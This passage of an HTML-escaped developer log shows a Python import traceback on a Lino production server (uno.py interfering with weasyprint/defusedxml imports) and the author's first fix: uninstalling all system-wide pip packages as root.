  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;983&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;967&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;677&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;728&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;exec_module&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;219&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_call_with_frames_removed&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino/modlib/weasyprint/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.choicelists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino/modlib/weasyprint/choicelists.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;weasyprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HTML&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/weasyprint/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.document&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Document&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt;  &lt;span class="c1"&gt;# noqa isort:skip&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/weasyprint/document.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.draw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;draw_page&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stacked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/weasyprint/draw.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.images&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SVGImage&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/weasyprint/images.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;cairosvg.parser&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/cairosvg/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;surface&lt;/span&gt;  &lt;span class="c1"&gt;# noqa isort:skip&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/cairosvg/surface.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.defs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/cairosvg/defs.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.bounding_box&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;calculate_bounding_box&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is_non_empty_bounding_box&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/cairosvg/bounding_box.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.parser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Tree&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/cairosvg/parser.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;defusedxml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ElementTree&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_builtin_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;optargs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/defusedxml/ElementTree.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;_XMLParser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_iterparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ParseError&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_get_py3_cls&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/defusedxml/ElementTree.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_get_py3_cls&lt;/span&gt;
    &lt;span class="n"&gt;pure_pymod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pymodname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/importlib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_bootstrap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_gcd_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/xml/etree/ElementTree.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1660&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;_elementtree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/uno.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;373&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_uno_import&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__dict__&lt;/span&gt;
&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NoneType&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__dict__&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that it is a side effect of having getlino installed system-wide.  So as
a first step I remove it there:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo su
# pip3 freeze | xargs pip3 uninstall -y

Uninstalling alabaster-0.7.12:
  Successfully uninstalled alabaster-0.7.12
Uninstalling argh-0.26.2:
  Successfully uninstalled argh-0.26.2
Uninstalling arrow-0.14.6:
  Successfully uninstalled arrow-0.14.6
